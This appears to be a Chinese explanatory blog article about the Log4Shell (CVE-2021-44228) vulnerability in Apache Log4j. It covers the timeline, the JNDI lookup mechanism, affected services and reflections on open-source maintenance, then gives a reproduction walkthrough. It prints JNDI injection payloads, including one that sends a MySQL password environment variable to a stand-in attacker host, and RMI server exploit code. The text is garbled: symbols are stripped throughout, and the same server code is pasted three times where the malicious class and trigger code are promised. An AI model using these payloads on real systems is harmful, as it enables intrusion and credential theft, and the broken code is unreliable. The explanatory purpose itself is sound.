Log4Shell漏洞CVE44228ApacheLog4j
2021年11月24日,阿里云安全团队团队成员之一的ChenZhaojun在进行漏洞的筛查时发现了核弹级漏洞log4shell或log4j或LogJam,是一个远程代码执行(RCE)类漏洞,存在于一个数百万应用程序都在使用的开源Java日志库Log4j2中。
11月24日,开源项目ApacheLog4j2的一个远程代码执行漏洞被提交。
12月7日上午,Apache发布了2。15。0rc1版本更新。
12月9日晚,漏洞的利用细节被公开,影响范围几乎横跨整个版本(从2。0到2。14。1rc1)。
当大家纷纷升级到2。15。0rc1之后发现,该补丁依然可以被绕过。
12月10日凌晨2点半左右,ApacheLog4j2紧急更新了2。15。0rc2版本。
此时,各个大厂也几乎都在熬夜抢修。一、简介
Log4Shell这个漏洞的名字或者一些更具传播性的说法,诸如互联网正在着火过去十年最严重的漏洞现代计算机历史上最大漏洞难以想到哪家公司不受影响之类(参见《洛杉矶时报》
为什么是核弹级的漏洞呢?因为利用起来太简单了攻击者只需发送一则特殊的消息到服务器(包含类似{jndi:ldap:server。coma}的字符串),就可以执行任意的代码,并有可能完全控制该系统。
log4shell或是log4j2漏洞刷频了,各种应急修复了一又一波,现在来整体盘点这个漏洞到底是什么原理!
这个被报道得神乎其神的Log4Shell漏洞(CVE202144228)所针对的,是一个极为常用的Java库Log4j(详见后文说明)。值得一提,这个漏洞最初是由一名中国工程师、阿里云安全团队的ChenZhaojun(微博)在11月24日发现并提报的。
有记录的利用Log4Shell漏洞发起的攻击开始于2021年12月9日,最初是针对微软的Minecraft游戏Java版。但人们很快发现Log4Shell的波及范围远不止于此。根据GitHub仓库YfryTchsGDLog4jAttackSurface中的攻击案例截图,AppleiCloud、QQ邮箱、Steam商店、Twitter、百度搜索等一系列国内外主流服务或平台均存在该漏洞。
据火绒不完全统计,仅在Github上,就有60644个开源项目发布的321094软件包存在风险,这一漏洞可以说是影响了互联网上70以上企业系统的正常运转。
在形象认识的基础上,我们下面继续从技术角度说明Log4Shell漏洞的原理。
Log4j是一个Java语言的库(library)。所谓库,通俗地说就是服务于特定功能、可以重复利用的软件代码;如果在开发其他软件时需要用到这种功能,直接拿来套用就行了,避免重复劳动。
Log4j库所实现的功能就类似于上面故事里的记录员写日志。由于Java是一种非常流行的语言,而Log4j是最主流、常用的Java库之一,它的代码遍及各类主流软件和服务;这就是Log4Shell波及范围广泛的原因。
Log4j是根据配置文件中设定的模板来记录日志的。为了增加灵活性,Log4j的模板中可以留下一些特殊语法的待定内容;在实际生成日志时,Log4j会根据这些语法的指示,通过检索、查询、计算,将这些待定内容替换为实际内容,记录到日志里正如上面那个记录员通过翻日历、看手表、查花名册,补齐访客记录里的空档一样。
那么,Log4j都支持补齐哪些待定内容呢?根据文档,这主要包括日期时间、运行环境信息(例如用户名、Java版本、系统语言)、事件信息等。
例如,如果在模板里写{date:yyyyMMdd},那么Log4j就会将其替换为形如20211212的当前日期记录下来;如果在模板里写{java:version},Log4j就会将其替换为形如Javaversion1。7。067的实际Java版本记录下来。
不过,除了这些比较常规的待定内容,Log4j还支持一种更为复杂的替换方式,称为JNDI查询。JNDI(JavaNamingandDirectoryInterface)是Java的一项内置功能,它允许Java程序在一个目录可以想象为一个花名册或电话本中查询数据。
这里,就要提到很多攻击例证里出现的字样LDAP。LDAP(轻型目录访问协议,LightweightDirectoryAccessProtocol)是网络世界里一种特别常见的实现花名册功能的协议。简而言之,LDAP通过一种标准化的语法(称为识别名,DistinguishedNames或DN)记录身份信息。例如:CNJohnAppleseed,OUSales,OApple
表示一个常用名(commonName)为JohnAppleseed,所属组织单位(organizationUnit)为Sales,所属组织(organization)为Apple的对象(通常对应一个用户)。
LDAP支持通过URL地址的形式查询信息。例如,访问如下地址:ldap:ldap。example。comcnJohn20Appleseed
就会向LDAP服务器ldap。example。com请求常用名为JohnAppleseed的用户信息。
根据文档,JNDI查询的语法是{jndi:查询位置}。一般而言,这里的查询位置是一个取决于软件运行环境的内部位置,因此Log4j会自动给它加上java:compenv的前缀再查询。这就好比在公司内部说查花名册,默认就是指查该公司雇员的名册一样。
但特殊地,如果查询位置里包含冒号(:)最可能的情况就是一个固定的URL地址,例如{jndi:ldap:ldap。example。coma},那么,Log4j在查询时就不会追加上述前缀,而是直接向这个写死的地址查询数据。
实现漏洞的链条就此串了起来。上述功能组合在一起,造成的结果是:Log4j在记录日志时,可以通过JNDI接口,向一个外部的LDAP服务器发送请求。
换言之,只要设法让使用了Log4j的程序记下一条内容形如{jndi:ldap:ldap。example。coma}的日志,那么记下这条日志的同时,程序就会试图向ldap。example。com请求查询数据,然后解析查询结果并写进日志。
乍看上去,这似乎也没什么大不了。但是,一方面,日志的来源是广泛而多样的,其内容非常容易被操纵。另一方面,记录日志往往是由一个内部服务器或组件负责的,它们可能根本不应该与一个外部网址通讯。两个因素结合,就使得Log4Shell漏洞很容易触发,危害性又很高。
例如,很多服务器会通过日志记录访客的浏览器信息(即HTTP请求头中的UserAgent)、登录的用户名,或者搜索内容。因此,只要将这些信息替换成{jndi:ldap:ldap。example。coma}之类构造出的内容,就可以通过简单的浏览、登录或搜索操作,往服务器里塞进一条特殊构造的日志,致使服务器访问这条恶意日志中的地址。
需要指出,攻击文本中所用的ldap。example。com甚至不需要是一个真正的LDAP服务器。因为仅仅是让本不应访问外网的服务器访问外网并留下痕迹,就已经具有一定危害后果了。
留意观察现有攻击例证,会发现很多例子用到的攻击文本中频繁出现dnslog。cn、ceye。io等域名。这些网站的功能类似,都是允许生成一个随机网址,该网址被访问时,会记下访问者的IP地址等信息并即时显示在页面上。因此,这类网站经常被用来测试注入式漏洞包括这次的Log4Shell漏洞的效果:如果能成功操作被攻击主机访问自己生成的网址、留下访问记录,则表明攻击是有效的。
测试漏洞的人太多,连dnslog很长一段时间都访问不了,最后还用的ceye测试复现的。
例如,在下面的截图中,攻击者将构造的字符串作为用户名来登录iCloud账户。显然,这个字符串进入了iCloud服务器的日志中,进而触发漏洞,访问了字符串中所包含的域名:
类似地,在下面的QQ邮箱截图中,攻击者将构造的字符串填进了邮箱的搜索框,同样导致了腾讯服务器被记录:
又因为JNDI查询的语法是可以嵌套的,这进一步将可能泄露的内容范围,扩大到了任何Log4j所能接触到的运行环境信息。正如一些用户在GitHub上的漏洞讨论中指出,形如{jndi:ldap:www。attacker。com:1389{env:MYSQLPASSWORD}的恶意日志,就会引导Log4j首先将内层的{env:MYSQLPASSWORD}替换为真实的MySQL数据库密码,然后通过URL泄露给www。attacker。com。
此外,注意到JNDI的本意在于查询不仅是发出请求,而且会记录和处理查询结果,因此这个漏洞不仅会导致服务器信息泄漏,而且允许攻击者向服务器传递任意危险内容,可能还包括执行恶意代码。例如,一个正常的LDAP服务器在收到查询请求时,返回的只是查询到的用户信息。但如果这是一个攻击者控制的假LDAP服务器,那么它可以返回任意恶意内容例如一段包含窃取或破坏功能的代码。
例如,上文提到的BleepingComputer报道中提到一个现有的真实案例:攻击者将一段使用base64编码的终端脚本附在JNDI查询指令中,导致被攻击机器下载并安装了挖矿程序:
这种利用程序不经检查地将文本信息还原为对象的功能,注入和执行恶意代码的漏洞,术语称之为反序列化漏洞(deserializationvulnerabilities),本身并非新鲜事物,在Java安全语境下也多有讨论。但或许是因为Log4j所服务的日志功能相对没那么引人注目,这个漏洞才蛰伏许久方被发现。
最后,当今网络服务往往是由相互通讯的多个组件构成的。因此,即使直接接收恶意信息的组件不受漏洞影响,这则恶意信息也可能通过数据传输,在某一步被一个后端组件所记录和执行;这极大扩展了漏洞的攻击面和危险程度。
Cloudflare就在针对本漏洞的博文中举例说:假设一个物流数据系统,它读取包裹上的二维码信息,通过Log4j记录下来,然后传给后台服务进一步检索处理。那么,攻击者就可以将恶意构造的信息藏在二维码里,通过上述流程传给后台服务执行。
漏洞易补,根源难除
尽管Log4Shell漏洞的危害很大,但好在修复起来思路并不复杂。正如修复漏洞的Log4j2。15版更新记录所示,其主要的修复方法就是加强对JNDI的限制,包括默认仅限访问本地的LDAP服务器(而非任意远程位置)、禁用大部分JNDI通讯的协议等。
而对于暂没有条件升级到新版Log4j的服务,也可以通过设置参数禁止JNDI查询,或者直接把JNDI查询相关代码切割出去,从而实现弥补漏洞。
此外,存在漏洞并不代表会被利用该漏洞攻击。正如ArsTechinica的文章所指出,网络服务往往设有多层的防护机制。即使其中的一个组件存在漏洞,其风险也可能被其他组件的安全机制所阻挡和弥补。
还是以开头的情景为例,那家公司可能从硬件层面禁止用内部分机拨打外部号码,或者监控、阻断员工未经授权的对外通讯,从而杜绝记录员被利用的可能性。
然而,哪怕Log4Shell的风波随着补丁推出逐渐消退,这一事件也能促使很多超越漏洞本身的思考。
首先是一个软件系统设计的问题:很多评论都惊讶地指出,Log4j的权限和胆子是不是太大了?区区一个记录员的角色,怎么能擅自访问未经鉴别的外部地址、甚至任意执行外部代码呢?即使记录不全需要后续完善,难道不也应该先原样抄录(例如技术上对变量做转义处理,即当作纯文本存储),然后交给职有专司的其他组件来查询和补充吗?
特别是当人们找出罪魁祸首当初引入这个漏洞的功能提案,发现提案者的主要理由只是为了方便后,就更加有理由怀疑这个JNDI查询功能的加入是否过于草率了。
对此,一种解释是,这是过时开发思路的遗留。例如,HackerNews用户toyg指出,早年的Java开发偏好这种大而全、一个组件实现多种功能的思路,Log4j这些令人后怕的丰富功能可能就因此而来;他还认为,LDAP传统上是一个跑在内网上,被推定为安全的服务,这也容易让人忘记设置安全防护措施。
其次,作为一个由社区维护的开源项目,Log4j此次漏洞也让人反思开源维护者是否得到了应有的支持和理解。事件发生后,Log4j维护者VolkanYazici在一条推文中不无委屈地说:
Log4j的维护者们废寝忘食地提供补救措施;发补丁、写文档、提交CVE(通用漏洞披露,信息安全行业通用的安全漏洞披露机制译注)、回复询问,等等。但这都拦不住人们来责难我们,就为了一项我们未收分文的工作,为了一项我们也讨厌、但为了向后兼容不得不保留的功能。
进而有人从维护者RalphGoers的GitHub支持者页面发现一段颇为谦卑的陈述:
我用业余时间开发Log4j等开源项目,所以一般只〔有空〕解决那些最感兴趣的问题。我一直梦想全职做开源,希望能靠你的支持梦想成真。
而略显讽刺的是,这段话下面赫然显示3人赞助了rgoers的工作(情况曝光后数量略有增加)。
既然Log4j的使用如此广泛、在各大主流服务中任劳任怨,那么大厂的担当和风范何在?因此有观点主张,使用开源项目的公司有道德上的责任赞助和支持项目的维护者;还有人提出,大厂即使不提供金钱支持,是不是至少应该义务提供技术力量,辅助改进整个项目,而不是自扫门前雪,修好自己的服务了事?
还有观点指出,这次安全漏洞再次提醒我们,开源不等于安全。尽管开源代码是可以审计的,但很多时候并不会真正有人去认真检查;相反,这还可能让人们放松警惕,为Log4Shell这样的严重漏洞留下长期潜伏的空间。
此外,维持旧版兼容性与尽快升级保障安全之间的矛盾,使用外部库节约开发时间与减少不必要对外依赖之间的矛盾,也是软件设计相关的经典议题,它们同样在这次漏洞之后的讨论中被大量提及。
影响版本:ApacheLog4j2。x2。15。0。rc1
影响范围:
SpringBootstraterlog4j2Apache
Struts2Apache
SolrApache
FlinkApache
DruidElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare
二、复现过程
漏洞原理
最主要的漏洞成因就是下面这张图了,log4j2提供的lookup功能:
日志中包含{},lookup功能就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身。log4j2将基本的解析都做了实现。比如常见的用户登陆日志记录:
常见解析{ctx:loginId}{map:type}{filename}{date:MMddyyyy}{docker:containerId}{docker:containerName}{docker:imageName}{env:USER}{event:Marker}{mdc:UserId}{java}{jndi:loggingcontextname}{hostName}{docker:containerId}{k8s}{log4j}{main}{name}{marker}{spring}{sys:logPath}{web:rootDir}
而其中的JNDI(JavaNamingandDirectoryInterface)就是本次的主题了,就是提供一个目录系统,并将服务与对象关联起来,可以使用名称来访问对象。
而log4j2中JNDI解析未作限制,可以直接访问到远程对象,如果是自己的服务器还好说,那如果访问到黑客的服务器呢?
也就是当记录日志的一部分是用户可控时,就可以构造恶意字符串使服务器记录日志时调用JNDI访问恶意对象,也就是流传出的payload构成:{jndi:ldap:xxx。xxx。xxx。xxx:xxxxexp}
我们可以将上面日志记录的代码简单修改一下,假设用户名是从外部获取的用户输入,此时构建一个恶意用户名{jndi:ladp:http:z2xcu7。dnslog。cnexp},然后触发日志记录(可以借助DNSLog生成临时域名用于查看测试是否生效)。
可以看到,记录日志时发起了JNDI解析,访问了DNS提供的域名并生成记录。攻击流程
其实JNDI通过SPI(ServiceProviderInterface)封装了多个协议,包括LDAP、RMI、DNS、NIS、NDS、RMI、CORBA;复现选择了使用RMI服务,搭建较为快速。
攻击思路(文章中使用的jdk1。8):
1、找到目标服务器记录日志的地方,且记录的部分内容可控。
我们还是选择之前的模拟日志记录,假设站点会记录用户登陆日志,实际上大部分网站确实会做相关功能。
2、搭建RMI服务端,包含需要执行的恶意代码。
RMI服务端搭建,监听本地8888(自定义)端口,用Reference类引用恶意对象。packageserver;importcom。sun。jndi。rmi。registry。ReferenceWrapper;importjavax。naming。NamingException;importjavax。naming。Reference;importjava。rmi。AlreadyBoundException;importjava。rmi。RemoteException;importjava。rmi。registry。LocateRegistry;importjava。rmi。registry。Registry;publicclassRMIServer{publicstaticvoidmain(String〔〕args)throwsRemoteException,NamingException,AlreadyBoundException{RegistryregistryLocateRegistry。createRegistry(8888);System。out。println(CreateRMIregistryonport8888);ReferencereferencenewReference(server。Log4jRCE,server。Log4jRCE,null);ReferenceWrapperreferenceWrappernewReferenceWrapper(reference);registry。bind(exp,referenceWrapper);}}
恶意对象模拟执行cmd打开计算器,并且输出一个语句用于标记执行处:packageserver;importcom。sun。jndi。rmi。registry。ReferenceWrapper;importjavax。naming。NamingException;importjavax。naming。Reference;importjava。rmi。AlreadyBoundException;importjava。rmi。RemoteException;importjava。rmi。registry。LocateRegistry;importjava。rmi。registry。Registry;publicclassRMIServer{publicstaticvoidmain(String〔〕args)throwsRemoteException,NamingException,AlreadyBoundException{RegistryregistryLocateRegistry。createRegistry(8888);System。out。println(CreateRMIregistryonport8888);ReferencereferencenewReference(server。Log4jRCE,server。Log4jRCE,null);ReferenceWrapperreferenceWrappernewReferenceWrapper(reference);registry。bind(exp,referenceWrapper);}}
执行RMIServer,创建RMI服务。
3、构建EXP触发目标服务器进行日志记录触发JNDI解析。
构建恶意用户名模拟输入,执行触发恶意解析。packageserver;importcom。sun。jndi。rmi。registry。ReferenceWrapper;importjavax。naming。NamingException;importjavax。naming。Reference;importjava。rmi。AlreadyBoundException;importjava。rmi。RemoteException;importjava。rmi。registry。LocateRegistry;importjava。rmi。registry。Registry;publicclassRMIServer{publicstaticvoidmain(String〔〕args)throwsRemoteException,NamingException,AlreadyBoundException{RegistryregistryLocateRegistry。createRegistry(8888);System。out。println(CreateRMIregistryonport8888);ReferencereferencenewReference(server。Log4jRCE,server。Log4jRCE,null);ReferenceWrapperreferenceWrappernewReferenceWrapper(reference);registry。bind(exp,referenceWrapper);}}
4、解析结果定位到搭建的恶意服务端,目标服务器访问并触发恶意代码。
恶意代码被执行,注意看恶意代码执行记录,是在日志记录的地方被执行。
三、修复与检测
可以通过{jndi字串匹配是否受到攻击。
修复参考链接:
https:mp。weixin。qq。comsmb708YuskTyek29g3pAEg
https:mp。weixin。qq。comsClNpWamMn55BkholbUbog
四、总结
目前已证实服务器易受到漏洞攻击的公司包括苹果、亚马逊、特斯拉、谷歌、百度、腾讯、网易、京东、Twitter、Steam等。
据统计,共有6921个应用程序都有被攻击的风险,其中《我的世界》首轮即被波及。就连修改iPhone手机名称都能触发,最主要的是这是国外黑客玩了几个月玩腻了才公开的漏洞!
一个范围广的0day漏洞可能导致整个互联网沦为肉鸡或者瘫痪,网络安全,任重而道远。
不过早在11月24日,阿里云就监测到了在野攻击并给apache报告了,只是apache新出的版本只是拦截了ldap,其他协议依旧有效。所以公开后很快被腾讯团队测试可绕过,当天发出修复版本Log4j2。15。0rc2。